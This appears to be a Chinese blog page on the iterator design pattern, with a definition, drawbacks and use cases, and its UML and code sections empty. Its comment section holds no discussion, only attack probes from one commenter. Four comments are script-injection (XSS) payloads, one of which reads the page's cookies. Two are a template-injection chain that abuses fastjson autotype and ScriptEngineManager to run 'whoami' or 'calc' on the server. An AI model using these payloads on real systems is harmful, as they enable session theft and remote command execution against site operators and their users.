欢迎关注我的公众号

设计模式-行为型-迭代器模式

2022-08-22 09:39
256
6
添加收藏

定义:

迭代器模式,提供一种方法顺序访问一个聚合对象中各个元素,而又不暴露该对象的内容表示。
 

是 Java 和 .Net 编程环境中非常常用的设计模式。

 

UML

 

代码实现


 

 

 

 

 

总结
 

缺点:由于迭代器模式将存储数据和遍历数据的职责分离,增加新的聚合类需要对应增加新的迭代器类,类的个数对增加,这在一定程度上增加了系统的复杂性。

 

使用场景:

1、访问一个聚合对象的内容而无须暴露它的内部表示。 

2、需要为聚合对象提供多种遍历方式。

3、为遍历不同的聚合结构提供一个统一的接口。

 

注意事项:迭代器模式就是分离了集合对象的遍历行为,抽象出一个迭代器类来负责,这样既可以做到不暴露集合的内部结构,又可让外部代码透明地访问集合内部的数据。


 

全部评论

123
2022-11-09 21:07
<script>alert(document.cookie)</script>
123
2022-11-09 21:06
<script>alert('xss')</script>
123
2022-11-09 21:05
<script>alert('xss')</script>
123
2022-11-09 21:05
<script>alert('xss')</script>
123
2022-11-09 21:02
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}')) #set(e=x.getEngineByName("js")) #(e.eval('java.lang.Runtime.getRuntime().exec("whoami")'))
123
2022-11-09 21:02
#set(x=com.alibaba.fastjson.parser.ParserConfig::getGlobalInstance()) #(x.setAutoTypeSupport(true)) #(x.addAccept("javax.script.ScriptEngineManager")) #set(x=com.alibaba.fastjson.JSON::parse('{"@type":"javax.script.ScriptEngineManager"}')) #set(e=x.getEngineByName("js")) #(e.eval('java.lang.Runtime.getRuntime().exec("calc")'))